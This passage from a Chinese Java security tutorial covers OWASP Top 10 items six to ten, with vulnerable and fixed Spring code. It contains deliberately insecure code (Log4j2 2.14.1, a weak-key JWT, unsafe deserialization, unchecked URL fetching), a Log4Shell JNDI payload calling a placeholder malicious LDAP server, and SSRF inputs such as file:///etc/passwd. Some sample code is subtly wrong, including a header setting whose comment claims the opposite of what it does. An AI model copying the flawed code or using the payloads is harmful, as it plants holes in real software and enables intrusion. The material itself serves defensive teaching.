import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class CorsConfig implements WebMvcConfigurer {

    private static final String[] ALLOWED_ORIGINS = {
        "https://www.example.com",
        "https://admin.example.com"
    };

    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/**")
                .allowedOriginPatterns(ALLOWED_ORIGINS// 仅允许白名单内的域名
                .allowedMethods("GET""POST""PUT""DELETE"// 仅允许业务必需的HTTP方法
                .allowedHeaders("*")
                .allowCredentials(true)
                .maxAge(3600);
    }
}

3. 关闭错误页面的详细堆栈信息

生产环境禁止返回详细异常信息,仅返回通用错误提示,配置如下:

server:
  error:
    include-stacktrace: never # 生产环境永远不返回堆栈信息

同时使用全局异常处理器统一处理异常:

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

@RestControllerAdvice
public class GlobalExceptionHandler {

    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);

    @ExceptionHandler(Exception.class)
    public ResponseEntity<Result> handleException(Exception e) {
        // 详细异常信息仅打印在日志中,不返回给前端
        logger.error("系统异常", e);
        Result result = new Result();
        result.setCode(500);
        result.setMsg("系统内部错误,请稍后再试");
        return new ResponseEntity<>(result, HttpStatus.INTERNAL_SERVER_ERROR);
    }

    @ExceptionHandler(BusinessException.class)
    public ResponseEntity<Result> handleBusinessException(BusinessException e) {
        logger.error("业务异常", e);
        Result result = new Result();
        result.setCode(e.getCode());
        result.setMsg(e.getMsg());
        return new ResponseEntity<>(result, HttpStatus.OK);
    }
}

4. 配置HTTP安全响应头

使用Spring Security配置安全响应头,防止XSS、点击劫持、MIME类型嗅探等攻击:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**").permitAll()
                .anyRequest().authenticated()
            )
            .headers(headers -> headers
                .frameOptions(frame -> frame.deny()) // 禁止页面被嵌入iframe,防止点击劫持
                .contentTypeOptions(content -> content.disable()) // 禁用MIME类型嗅探
                .xssProtection(xss -> xss.block()) // 开启XSS防护
                .contentSecurityPolicy(csp -> csp.policyDirectives("default-src 'self'")) // 内容安全策略
            )
            .csrf(csrf -> csrf.disable());
        return http.build();
    }
}

5. 核心防护原则

  • 建立标准化的安全配置基线,所有环境必须遵循统一的安全配置规范
  • 禁用所有默认账号和默认配置,修改所有默认密码,使用强密码
  • 定期使用自动化工具扫描配置错误,如Nessus、OpenVAS等
  • 开发、测试、生产环境严格隔离,生产环境敏感信息必须加密存储,禁止硬编码

六、自带缺陷和过时的组件(Vulnerable and Outdated Components)

自带缺陷和过时的组件位列OWASP Top10 2021第六位,是企业被攻击的重灾区,Log4j2 JNDI注入、Spring4Shell、Fastjson反序列化等知名高危漏洞,都属于该类别。

底层原理

该风险的核心本质是:应用的安全强度,取决于整个依赖链中最薄弱的环节。即使自身代码写得再安全,依赖的第三方组件、框架、中间件存在已知的安全漏洞,或已经停止维护,攻击者可以利用这些已知漏洞,轻易攻破应用。

常见的风险场景:

  • 使用存在已知高危漏洞的组件,如低版本的Log4j2、Fastjson、Spring Cloud Gateway
  • 使用已经停止维护的过时组件,如Log4j 1.x、commons-beanutils 1.x
  • 未清理未使用的依赖,通过传递依赖引入有漏洞的组件
  • 未定期更新组件版本,使用的版本过低,存在大量已知漏洞

漏洞复现

Log4j2 JNDI注入漏洞(CVE-2021-44228),影响版本为2.0-beta9到2.14.1:

<dependencies>
    <!-- 存在高危漏洞的Log4j2版本 -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api")
public class LogController {

    private static final Logger logger = LogManager.getLogger(LogController.class);

    // 漏洞点:用户输入的内容直接被Log4j2解析,触发JNDI注入
    @GetMapping("/log")
    public String log(@RequestParam String content) {
        logger.info("用户输入的内容:{}", content);
        return "日志打印成功";
    }
}

攻击者只需访问http://localhost:8080/api/log?content=${jndi:ldap://恶意服务器/恶意类},即可触发漏洞,执行任意代码,控制服务器。

防护方案

  1. 建立依赖白名单,仅使用经过安全验证、活跃维护的官方组件,禁止使用已停止维护的组件
  2. 定期更新组件到最新的稳定版本,及时修复已知的安全漏洞
  3. 清理未使用的依赖和功能,减少依赖数量,缩小攻击面
  4. 使用自动化工具定期扫描依赖漏洞,如OWASP Dependency-Check、Snyk、Dependabot等
  5. 处理传递依赖的漏洞,使用<exclusions>排除有漏洞的传递依赖,或指定安全的版本覆盖
  6. 使用<dependencyManagement>锁定所有依赖的版本,避免传递依赖引入有漏洞的版本
  7. 建立高危漏洞应急响应流程,当出现新的高危组件漏洞时,可快速评估影响、修复漏洞

七、身份认证和授权失效(Identification and Authentication Failures)

身份认证和授权失效位列OWASP Top10 2021第七位,是应用安全的第一道防线,一旦该环节失效,整个安全体系就会完全崩溃。

底层原理

该风险的核心本质是:应用在用户身份认证、会话管理环节存在缺陷,导致攻击者可以冒充合法用户,绕过身份认证,获取用户的权限,执行非授权操作。与失效的访问控制不同,该风险聚焦于“你是谁”的身份认证环节,而访问控制聚焦于“你能做什么”的授权环节。

常见的风险场景:

  • 允许弱密码、默认密码,无密码复杂度要求
  • 无防暴力破解机制,登录接口无次数限制、无验证码
  • 会话管理缺陷,Session ID未过期、退出登录后未失效
  • JWT token无过期时间、无吊销机制、使用弱密钥签名
  • 多因素认证缺失,核心系统无二次身份校验
  • 凭证明文传输、明文存储,导致身份信息泄露

漏洞复现

不安全的JWT实现:

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;

public class InsecureJWTUtil {
    // 漏洞点1:使用弱密钥,易被暴力破解
    private static final String SECRET_KEY = "123456";
    // 漏洞点2:未设置token过期时间,token永久有效
    public static String generateToken(Long userId) {
        return Jwts.builder()
                .setSubject(userId.toString())
                .signWith(SignatureAlgorithm.HS256SECRET_KEY)
                .compact();
    }

    // 漏洞点3:未校验token签名,攻击者可伪造任意token
    public static Long getUserIdFromToken(String token) {
        try {
            return Long.valueOf(Jwts.parser()
                    .parseClaimsJws(token)
                    .getBody()
                    .getSubject());
        } catch (Exception e) {
            return null;
        }
    }
}

防护方案

1. 安全的JWT实现

import io.jsonwebtoken.*;
import io.jsonwebtoken.security.Keys;
import org.springframework.data.redis.core.RedisTemplate;
import java.security.Key;
import java.util.Base64;
import java.util.Date;
import java.util.concurrent.TimeUnit;

public class SecureJWTUtil {
    private final Key secretKey;
    private static final long ACCESS_TOKEN_EXPIRE_MINUTES = 15;
    private static final long REFRESH_TOKEN_EXPIRE_DAYS = 7;
    private static final String TOKEN_BLACKLIST_PREFIX = "token_blacklist:";
    private final RedisTemplate<StringString> redisTemplate;
    private final String issuer = "example.com";

    // 密钥从配置中心/KMS获取,禁止硬编码
    public SecureJWTUtil(String base64Key, RedisTemplate<StringString> redisTemplate) {
        byte[] keyBytes = Base64.getDecoder().decode(base64Key);
        this.secretKey = Keys.hmacShaKeyFor(keyBytes);
        this.redisTemplate = redisTemplate;
    }

    // 生成256位安全密钥,仅用于初始化时使用
    public static String generateSecureKey() {
        Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256);
        return Base64.getEncoder().encodeToString(key.getEncoded());
    }

    public String generateAccessToken(Long userId) {
        Date now = new Date();
        Date expireDate = new Date(now.getTime() + ACCESS_TOKEN_EXPIRE_MINUTES * 60 * 1000);
        return Jwts.builder()
                .setIssuer(issuer)
                .setSubject(userId.toString())
                .setIssuedAt(now)
                .setExpiration(expireDate)
                .signWith(secretKey, SignatureAlgorithm.HS256)
                .compact();
    }

    public String generateRefreshToken(Long userId) {
        Date now = new Date();
        Date expireDate = new Date(now.getTime() + REFRESH_TOKEN_EXPIRE_DAYS * 24 * 60 * 60 * 1000);
        return Jwts.builder()
                .setIssuer(issuer)
                .setSubject(userId.toString())
                .setIssuedAt(now)
                .setExpiration(expireDate)
                .signWith(secretKey, SignatureAlgorithm.HS256)
                .compact();
    }

    // 校验token并解析用户ID,严格校验签名、过期时间、签发者
    public Long validateTokenAndGetUserId(String token) {
        // 先校验token是否在黑名单中
        if (Boolean.TRUE.equals(redisTemplate.hasKey(TOKEN_BLACKLIST_PREFIX + token))) {
            throw new ExpiredJwtException(nullnull"token已被吊销");
        }
        try {
            Jws<Claims> claimsJws = Jwts.parserBuilder()
                    .setSigningKey(secretKey)
                    .requireIssuer(issuer)
                    .build()
                    .parseClaimsJws(token);
            return Long.valueOf(claimsJws.getBody().getSubject());
        } catch (ExpiredJwtException | MalformedJwtException | SignatureException | IllegalArgumentException e) {
            return null;
        }
    }

    // 退出登录时吊销token,加入黑名单
    public void revokeToken(String token) {
        try {
            Claims claims = Jwts.parserBuilder()
                    .setSigningKey(secretKey)
                    .build()
                    .parseClaimsJws(token)
                    .getBody();
            long expireTime = claims.getExpiration().getTime() - System.currentTimeMillis();
            if (expireTime > 0) {
                redisTemplate.opsForValue().set(TOKEN_BLACKLIST_PREFIX + token, "1", expireTime, TimeUnit.MILLISECONDS);
            }
        } catch (Exception e) {
            // 无效token直接忽略
        }
    }
}

2. 身份认证全链路防护规范

  • 密码复杂度强制要求:密码必须包含大小写字母、数字、特殊字符,长度不低于8位,禁止使用常见弱密码
  • 防暴力破解机制:登录接口连续5次失败锁定账号15分钟,同时对IP地址做频率限制,1分钟内最多10次登录请求
  • 会话安全管理:Session ID必须使用高熵随机值,退出登录、修改密码后立即失效会话,设置合理的会话超时时间
  • 多因素认证:核心系统、管理员账号、敏感操作必须开启多因素认证,如短信验证码、谷歌身份验证器
  • 凭证传输安全:所有身份认证相关接口必须使用HTTPS传输,禁止在URL中传递凭证信息

3. 核心防护原则

  • 零信任原则:默认不信任任何请求,每次访问受保护资源都必须校验身份凭证
  • 最小权限原则:仅给用户分配完成业务所需的最小身份权限,默认拒绝所有访问
  • 凭证不可复用:禁止在多个系统使用相同的密钥、密码,定期更换所有身份凭证
  • 全链路校验:身份校验必须在服务端执行,禁止仅在前端做身份校验,所有核心接口必须校验token的有效性

八、软件和数据完整性失效(Software and Data Integrity Failures)

软件和数据完整性失效位列OWASP Top10 2021第八位,是新增的核心风险类别,聚焦于供应链安全、代码和数据的完整性校验,近年来频发的供应链攻击事件,都属于该风险范畴。

底层原理

该风险的核心本质是:应用在代码、依赖、配置、数据的全生命周期中,没有做完整性校验,导致攻击者可以篡改代码、依赖、数据,植入恶意内容,最终在应用或用户端执行。最典型的场景包括供应链攻击、不安全的反序列化、无校验的自动更新、CDN资源劫持等。

漏洞复现

1. 不安全的Java反序列化漏洞

Java反序列化漏洞是最常见的完整性失效风险,当应用反序列化用户可控的不可信数据时,攻击者可以构造恶意序列化对象,执行任意代码,控制服务器。

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@RestController
@RequestMapping("/api/data")
public class UnsafeDeserializeController {

    // 漏洞点:直接反序列化用户传入的不可信数据,无任何校验
    @PostMapping("/deserialize")
    public String deserialize(@RequestBody String base64Data) throws Exception {
        byte[] data = Base64.getDecoder().decode(base64Data);
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = ois.readObject();
        ois.close();
        bais.close();
        return "反序列化成功,对象类型:" + obj.getClass().getName();
    }
}

攻击者可使用ysoserial等工具构造恶意序列化数据,传入该接口,即可执行任意代码,控制服务器。

2. 供应链安全风险示例

<dependencies>
    <!-- 从非官方的第三方仓库拉取依赖,可能被植入恶意代码 -->
    <dependency>
        <groupId>com.example.fake</groupId>
        <artifactId>fake-utils</artifactId>
        <version>1.0.0</version>
    </dependency>
</dependencies>

如果应用配置了非官方的Maven仓库,或引入了未经校验的第三方依赖,可能引入被篡改的恶意组件,造成供应链攻击。

安全校验流程

防护方案

1. 反序列化漏洞的核心防护

  • 绝对禁止反序列化用户可控的不可信数据,这是最根本的防护方案
  • 必须反序列化时,使用安全的序列化方式,如JSON序列化,禁止使用Java原生序列化
  • 若必须使用Java原生序列化,需使用ValidatingObjectInputStream做白名单校验,仅允许反序列化指定的可信类
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.util.Base64;

@RestController
@RequestMapping("/api/data")
public class SafeDeserializeController {

    // 可信类白名单,仅允许反序列化指定的业务类
    private static final String[] ALLOWED_CLASSES = {
        "com.example.entity.User",
        "com.example.entity.Order"
    };

    @PostMapping("/deserialize")
    public String deserialize(@RequestBody String base64Data) throws Exception {
        byte[] data = Base64.getDecoder().decode(base64Data);
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        // 使用ValidatingObjectInputStream做白名单校验
        ValidatingObjectInputStream vois = new ValidatingObjectInputStream(bais);
        for (String clazz : ALLOWED_CLASSES) {
            vois.accept(clazz);
        }
        Object obj = vois.readObject();
        vois.close();
        bais.close();
        return "反序列化成功,对象类型:" + obj.getClass().getName();
    }
}

2. 供应链安全防护

  • 仅使用官方Maven中央仓库、企业内部可信私有仓库,禁止使用未知的第三方仓库
  • 所有依赖必须校验校验和与数字签名,确保依赖未被篡改
  • 定期扫描依赖的供应链安全风险,使用Snyk、Dependency-Check等工具检测恶意依赖
  • 禁止引入未维护、下载量低、未经安全验证的第三方依赖
  • 建立依赖准入流程,所有新引入的依赖必须经过安全审核

3. 核心防护原则

  • 完整性校验原则:所有代码、依赖、配置、数据,在加载和使用前必须做完整性校验,验证数字签名和哈希值
  • 最小依赖原则:仅引入业务必需的依赖,清理未使用的依赖,缩小攻击面
  • 可信来源原则:仅从官方、可信的来源获取代码、依赖、资源,禁止使用不可信的第三方内容
  • 禁止反序列化不可信数据:永远不要反序列化来自不可信来源的数据,从根源上避免反序列化漏洞

九、安全日志与监控失效(Security Logging and Monitoring Failures)

安全日志与监控失效位列OWASP Top10 2021第九位,是很多企业被入侵后无法及时发现、溯源的核心原因。OWASP数据显示,超过90%的企业存在日志与监控不足的问题,入侵事件的平均发现时间超过200天。

底层原理

该风险的核心本质是:应用没有记录关键的安全事件,或日志内容不完整、不可信,没有建立有效的监控和告警机制,导致安全事件无法被及时发现、分析、溯源和响应,攻击者可以长期潜伏在系统中,造成持续的损害。

常见的风险场景:

  • 未记录登录、权限变更、敏感操作等关键安全事件
  • 日志仅记录成功操作,未记录失败的攻击尝试
  • 日志中缺少关键信息,无法溯源攻击行为
  • 日志仅存储在本地,未做集中管理,服务器被入侵后日志被删除
  • 没有建立有效的监控和告警机制,无法及时发现异常行为
  • 日志中记录了密码、密钥等敏感信息,造成敏感数据泄露

漏洞复现

1. 无效的日志记录示例

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/auth")
public class InvalidLogController {

    private static final Logger logger = LogManager.getLogger(InvalidLogController.class);
    private final UserService userService;
    private final PasswordEncoder passwordEncoder;

    public InvalidLogController(UserService userService, PasswordEncoder passwordEncoder) {
        this.userService = userService;
        this.passwordEncoder = passwordEncoder;
    }

    @PostMapping("/login")
    public String login(@RequestBody UserLoginDTO dto) {
        User user = userService.findByUsername(dto.getUsername());
        if (user == null) {
            // 漏洞点:未记录登录失败事件,无法发现暴力破解行为
            return "用户名或密码错误";
        }
        if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
            // 漏洞点:登录失败日志缺少关键信息,无法溯源
            logger.info("登录失败");
            return "用户名或密码错误";
        }
        // 漏洞点:登录成功日志缺少关键信息,无法审计
        logger.info("登录成功");
        return "登录成功";
    }
}

2. 日志中记录敏感信息示例

// 漏洞点:日志中记录了用户密码,造成敏感数据泄露
logger.info("用户登录,用户名:{},密码:{}", dto.getUsername(), dto.getPassword());
// 漏洞点:日志中记录了完整的身份证号、银行卡号,造成敏感数据泄露
logger.info("用户提交实名认证,身份证号:{},银行卡号:{}", idCard, bankCard);

防护方案

1. 安全的日志记录规范

  • 必须记录的关键安全事件:登录成功/失败、退出登录、密码修改、权限变更、敏感数据访问、敏感操作、异常请求、攻击尝试
  • 日志必须包含的关键字段:事件时间、事件类型、用户ID、客户端IP、请求路径、请求参数(脱敏后)、操作结果、设备信息
  • 绝对禁止在日志中记录密码、密钥、完整身份证号、银行卡号等敏感信息,所有敏感数据必须脱敏后记录
  • 日志必须保证不可篡改,禁止本地存储日志,必须同步到集中式日志系统,如ELK、Splunk

安全的登录日志示例:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;

@RestController
@RequestMapping("/api/auth")
public class SafeLogController {

    private static final Logger logger = LogManager.getLogger(SafeLogController.class);
    private final UserService userService;
    private final PasswordEncoder passwordEncoder;

    public SafeLogController(UserService userService, PasswordEncoder passwordEncoder) {
        this.userService = userService;
        this.passwordEncoder = passwordEncoder;
    }

    @PostMapping("/login")
    public String login(@RequestBody UserLoginDTO dto, HttpServletRequest request) {
        String clientIp = getClientIp(request);
        String username = dto.getUsername();
        User user = userService.findByUsername(username);
        if (user == null) {
            logger.warn("登录失败,用户不存在,用户名:{},客户端IP:{},请求路径:{}",
                    username, clientIp, request.getRequestURI());
            return "用户名或密码错误";
        }
        if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
            logger.warn("登录失败,密码错误,用户ID:{},用户名:{},客户端IP:{},请求路径:{}",
                    user.getId(), username, clientIp, request.getRequestURI());
            return "用户名或密码错误";
        }
        logger.info("登录成功,用户ID:{},用户名:{},客户端IP:{},请求路径:{}",
                user.getId(), username, clientIp, request.getRequestURI());
        return "登录成功";
    }

    private String getClientIp(HttpServletRequest request) {
        String ip = request.getHeader("X-Forwarded-For");
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("Proxy-Client-IP");
        }
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getHeader("WL-Proxy-Client-IP");
        }
        if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }
        return ip.split(",")[0].trim();
    }
}

2. 安全监控与告警机制

  • 建立实时监控体系,对关键安全事件进行实时监控,及时发现异常行为
  • 必须配置的核心告警规则:短时间内多次登录失败、异地登录、非工作时间敏感操作、权限异常变更、高频异常请求、接口访问异常
  • 告警必须分级,不同级别的告警采用不同的通知方式,如短信、电话、邮件、企业微信通知
  • 建立安全事件响应流程,告警触发后必须有专人负责处理、分析、闭环
  • 定期对日志进行审计,分析潜在的安全风险,优化防护策略

3. 核心防护原则

  • 全量记录原则:所有关键安全事件必须完整记录,不能遗漏,确保攻击行为可溯源
  • 日志不可篡改原则:日志必须集中存储,保证不可篡改、不可删除,即使服务器被入侵,日志依然完整
  • 敏感信息脱敏原则:日志中所有敏感信息必须脱敏,禁止记录明文敏感数据
  • 实时监控原则:建立实时监控和告警机制,确保安全事件可及时发现、及时响应

十、服务端请求伪造(Server-Side Request Forgery, SSRF)

服务端请求伪造位列OWASP Top10 2021第十位,是近年来云原生、微服务架构下最受关注的安全风险,随着云服务的普及,SSRF漏洞的危害越来越大。

底层原理

SSRF的核心本质是:攻击者利用服务端的接口,构造恶意请求,让服务端代替攻击者发起请求,访问或攻击服务端内网的资源。因为请求是从受信任的服务端发起的,可以绕过防火墙、访问控制等防护措施,扫描内网端口、攻击内网服务、读取本地文件,甚至执行代码。

常见的风险场景:

  • 图片加载、文件下载接口,用户传入URL,服务端直接发起请求获取资源
  • 第三方接口调用、webhook回调接口,用户传入回调地址,服务端直接请求
  • 云服务元数据接口访问,攻击者通过SSRF获取云服务器的AK/SK,控制整个云资源
  • 内网服务扫描,攻击者通过SSRF探测内网存活的服务和端口,寻找可利用的漏洞

漏洞复现

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

@RestController
@RequestMapping("/api/resource")
public class SSRFController {

    // 漏洞点:直接使用用户传入的URL发起请求,无任何校验,可发起SSRF攻击
    @GetMapping("/fetch")
    public String fetchResource(@RequestParam String url) throws Exception {
        URL targetUrl = new URL(url);
        URLConnection connection = targetUrl.openConnection();
        InputStream is = connection.getInputStream();
        byte[] buffer = new byte[1024];
        int len;
        StringBuilder result = new StringBuilder();
        while ((len = is.read(buffer)) != -1) {
            result.append(new String(buffer, 0, len));
        }
        is.close();
        return result.toString();
    }
}

攻击者传入http://127.0.0.1:8080/api/admin/users,即可让服务端访问本地的管理员接口,获取全量用户数据;传入file:///etc/passwd,可读取服务器本地文件;传入云服务元数据地址,可获取云服务器的AK/SK,控制整个云资源。

SSRF攻击流程

防护方案

1. 根本防护原则

  • 禁止直接使用用户传入的URL发起请求,优先使用白名单模式,仅允许访问预设的可信域名和地址
  • 必须使用用户传入的URL时,必须做严格的校验,禁止访问内网、本地地址,禁止使用file、gopher、ftp等危险协议
  • 禁用不必要的协议,仅允许http和https协议
  • 对请求的响应做严格的限制,禁止返回敏感内容,限制响应大小

2. 安全的资源获取实现

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.InputStream;
import java.net.*;
import java.util.Arrays;
import java.util.List;

@RestController
@RequestMapping("/api/resource")
public class SafeSSRFController {

    // 可信域名白名单,仅允许访问白名单内的域名
    private static final List<String> ALLOWED_DOMAINS = Arrays.asList(
            "example.com",
            "cdn.example.com"
    );

    // 禁止访问的内网网段
    private static final List<String> FORBIDDEN_NETWORKS = Arrays.asList(
            "127.0.0.0/8",
            "10.0.0.0/8",
            "172.16.0.0/12",
            "192.168.0.0/16",
            "169.254.0.0/16",
            "0.0.0.0/8",
            "::1/128",
            "fc00::/7",
            "fe80::/10"
    );

    @GetMapping("/fetch")
    public String fetchResource(@RequestParam String url) throws Exception {
        URL targetUrl;
        try {
            targetUrl = new URL(url);
        } catch (MalformedURLException e) {
            throw new IllegalArgumentException("非法的URL格式");
        }

        // 1. 仅允许http和https协议,禁止其他危险协议
        String protocol = targetUrl.getProtocol();
        if (!"http".equals(protocol) && !"https".equals(protocol)) {
            throw new IllegalArgumentException("仅允许http和https协议");
        }

        // 2. 校验域名是否在白名单内
        String host = targetUrl.getHost();
        boolean isDomainAllowed = ALLOWED_DOMAINS.stream().anyMatch(allowedDomain -> host.endsWith("." + allowedDomain) || host.equals(allowedDomain));
        if (!isDomainAllowed) {
            throw new IllegalArgumentException("不允许访问的域名");
        }

        // 3. 解析IP地址,禁止访问内网IP
        InetAddress address = InetAddress.getByName(host);
        if (isForbiddenIp(address)) {
            throw new IllegalArgumentException("不允许访问的IP地址");
        }

        // 4. 限制端口,仅允许80和443端口
        int port = targetUrl.getPort() == -1 ? targetUrl.getDefaultPort() : targetUrl.getPort();
        if (port != 80 && port != 443) {
            throw new IllegalArgumentException("仅允许访问80和443端口");
        }

        // 5. 发起请求,设置超时时间,防止SSRF作为端口扫描工具
        URLConnection connection = targetUrl.openConnection();
        connection.setConnectTimeout(5000);
        connection.setReadTimeout(5000);
        connection.setDoInput(true);
        connection.setDoOutput(false);

        // 6. 限制响应大小,防止大文件攻击
        int maxSize = 1024 * 1024// 最大1MB
        try (InputStream is = connection.getInputStream()) {
            byte[] buffer = new byte[1024];
            int len;
            int totalSize = 0;
            StringBuilder result = new StringBuilder();
            while ((len = is.read(buffer)) != -1) {
                totalSize += len;
                if (totalSize > maxSize) {
                    throw new IllegalArgumentException("响应内容超出大小限制");
                }
                result.append(new String(buffer, 0, len));
            }
            return result.toString();
        }
    }

    private boolean isForbiddenIp(InetAddress address) {
        if (address.isLoopbackAddress() || address.isSiteLocalAddress() || address.isLinkLocalAddress() || address.isAnyLocalAddress()) {
            return true;
        }
        for (String cidr : FORBIDDEN_NETWORKS) {
            if (isIpInCidr(address, cidr)) {
                return true;
            }
        }
        return false;
    }

    private boolean isIpInCidr(InetAddress address, String cidr) {
        String[] parts = cidr.split("/");
        String ipAddress = parts[0];
        int prefix = Integer.parseInt(parts[1]);
        try {
            InetAddress cidrAddress = InetAddress.getByName(ipAddress);
            byte[] addressBytes = address.getAddress();
            byte[] cidrBytes = cidrAddress.getAddress();
            if (addressBytes.length != cidrBytes.length) {
                return false;
            }
            int fullBytes = prefix / 8;
            int remainderBits = prefix % 8;
            for (int i = 0; i < fullBytes; i++) {
                if (addressBytes[i] != cidrBytes[i]) {
                    return false;
                }
            }
            if (remainderBits > 0) {
                int mask = 0xFF << (8 - remainderBits);
                if ((addressBytes[fullBytes] & mask) != (cidrBytes[fullBytes] & mask)) {
                    return false;
                }
            }
            return true;
        } catch (Exception e) {
            return false;
        }
    }
}

3. 核心防护原则

  • 白名单优先原则:优先使用域名白名单,仅允许访问可信的域名和地址,这是最有效的SSRF防护方案
  • 协议限制原则:仅允许http和https协议,禁止所有其他危险协议
  • 内网禁止原则:禁止访问内网、本地、回环地址,防止内网探测和攻击
  • 最小权限原则:发起请求的服务账号仅分配最小权限,禁止访问云服务元数据接口,降低SSRF漏洞的危害
  • 超时限制原则:设置合理的连接和读取超时时间,防止SSRF被用作端口扫描工具

总结

Java应用安全是一个全链路、全生命周期的体系,没有绝对的安全,只有持续的防护。OWASP Top10覆盖了Java Web应用90%以上的安全风险,掌握每类风险的底层原理、攻击方式和防护方案,是每一位Java开发者必备的能力。

安全不是一次性的工作,而是持续的过程。开发者需要在需求、设计、开发、测试、上线、运维的全流程中融入安全思维,建立安全开发规范,定期开展安全培训和漏洞扫描,及时修复安全风险,才能真正筑牢Java应用的安全防线,避免因为安全漏洞造成不可挽回的损失。